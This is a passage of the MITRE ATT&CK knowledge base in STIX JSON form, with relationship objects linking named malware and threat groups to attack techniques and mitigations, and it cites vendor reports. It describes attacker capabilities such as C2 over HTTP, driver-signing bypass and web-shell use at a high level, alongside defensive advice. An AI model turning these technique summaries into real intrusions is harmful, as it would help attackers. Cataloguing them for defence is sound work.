2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d5c711d-dcd6-4d50-b91f-1fda5311eef5","type":"relationship","created":"2020-05-14T22:29:26.207Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Sharpshooter December 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}],"modified":"2020-06-23T00:42:36.416Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can detect the username of the infected host.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d61c23b-df1a-4d90-affa-b37a55b5e941","created":"2024-09-04T19:49:20.769Z","revoked":false,"external_references":[{"source_name":"IBM ZeroCleare Wiper December 2019","description":"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.","url":"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T19:49:20.769Z","description":"[ZeroCleare](https://attack.mitre.org/software/S1151) has used a vulnerable signed VBoxDrv driver to bypass Microsoft Driver Signature Enforcement (DSE) protections and subsequently load the unsigned [RawDisk](https://attack.mitre.org/software/S0364) driver.(Citation: IBM ZeroCleare Wiper December 2019)","relationship_type":"uses","source_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d63a9e6-9be2-44ea-8276-89ae92049509","type":"relationship","created":"2020-03-14T23:29:19.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-16T19:30:54.308Z","description":"If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be domain fronting.","relationship_type":"mitigates","source_ref":"course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d","target_ref":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d659138-90e5-4b67-8956-02120d99506f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-16T23:58:58.744Z","description":"[3PARA RAT](https://attack.mitre.org/software/S0066) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d712b2d-a9a6-4efd-b37e-1219768bdde7","type":"relationship","created":"2020-01-23T19:42:16.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:55:48.954Z","description":"Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d72a376-5bfb-4e6b-a79f-2f75f97de99e","type":"relationship","created":"2021-01-14T20:08:49.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T20:08:49.533Z","description":"[BlackMould](https://attack.mitre.org/software/S0564) can send commands to C2 in the body of HTTP POST requests.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d76d7b2-ec41-4630-8405-ec7db2c0607c","type":"relationship","created":"2019-02-12T21:28:19.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2019-02-12T21:28:19.464Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) has the capability to identify the drive type on a victim.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2d7d8a67-c32a-4054-9680-6ecae87ded68","created":"2022-07-08T12:46:35.590Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. ","modified":"2022-07-08T12:46:35.590Z","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--df1bc34d-1634-4c93-b89e-8120994fce77","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d7deb28-0fcf-495b-9d41-01529d356674","type":"relationship","created":"2020-01-30T14:11:41.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T14:11:41.737Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d822996-4574-402d-8d0f-1cfc0e963850","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.994Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) decrypts and extracts a copy of its main DLL payload when executing.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d82c7df-baa0-4268-855d-03df92fa35ab","type":"relationship","created":"2020-06-15T20:49:55.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.571Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to create files in a TEMP folder to act as a database to store information.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d840d1b-28d7-4387-86fd-6d3df8650171","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.923Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a tool to capture screenshots.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d882b40-11c3-4b7e-a400-5e87ae2bd899","type":"relationship","created":"2020-11-13T19:19:40.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:56:38.638Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) has named malicious browser extensions and update files to appear legitimate.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-20T23:59:28.281Z","description":"[Helminth](https://attack.mitre.org/software/S0170) encrypts data sent to its C2 server over HTTP with RC4.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d90749b-525e-4aa2-9df0-1d5677be0b25","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-21T00:20:44.435Z","description":"[Pupy](https://attack.mitre.org/software/S0192)'s default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d920718-61fc-4e10-ad09-df0a00d69cd4","created":"2019-01-30T15:38:21.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.856Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) has a command to periodically take screenshots of the system.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2db02b07-4dd3-4810-9103-1f8d7bd46a60","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/","description":"Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.","source_name":"Unit 42 Phishery Aug 2018"}],"modified":"2019-04-22T19:23:13.445Z","description":"[DarkHydrus](https://attack.mitre.org/groups/G0079) used [Template Injection](https://attack.mitre.org/techniques/T1221) to launch an authentication window for users to enter their credentials.(Citation: Unit 42 Phishery Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2db32876-d6f5-4862-b760-f0a9dfb28c3c","type":"relationship","created":"2021-01-06T16:56:56.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-10T17:15:23.266Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) used Base64 encoding in its C2 traffic.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2db406cf-667d-4ad6-b768-7645f6663ac9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2020-03-18T19:48:11.388Z","description":"The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on accounts and permissions.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2db515e9-4e44-4a49-917a-3108395b8590","type":"relationship","created":"2020-11-20T14:11:33.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-11-20T14:11:33.320Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can collect password policy information on the target environment.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2db640ab-413b-4c49-9842-3bf190c5e184","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","source_name":"FireEye POSHSPY April 2017"}],"modified":"2019-07-25T14:25:53.642Z","description":"(Citation: FireEye POSHSPY April 2017)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2db67ddf-b414-4dc7-87ab-0846a8bd1e8e","type":"relationship","created":"2020-01-23T19:59:52.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T19:01:55.993Z","description":"Restrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:31:18.008Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used web shells, often to maintain access to a victim network.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2dc666e3-b715-425c-b8b4-f3c0f7d6d8e9","created":"2022-09-02T19:08:33.399Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:08:33.399Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has compromised Google Drive repositories.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2dc7b1ac-48d5-48cc-9298-3e11b4658cb6","created":"2022-08-11T22:03:48.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:32:05.103Z","description":"[PyDCrypt](https://attack.mitre.org/software/S1032), along with its functions, is written in Python.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dc986cb-ed76-42ba-9dd9-edaba07b0cc7","type":"relationship","created":"2019-05-02T01:07:36.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."},{"description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2019-06-12T20:05:18.198Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) has the ability to access the webcam.(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dcd6644-f1d4-4001-81a5-95701fd29360","type":"relationship","created":"2020-01-30T16:36:51.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.","source_name":"GitHub IAD Secure Host Baseline UAC Filtering","url":"https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml"}],"modified":"2021-08-31T19:55:02.841Z","description":"Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy.\n\nThrough GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.(Citation: GitHub IAD Secure Host Baseline UAC 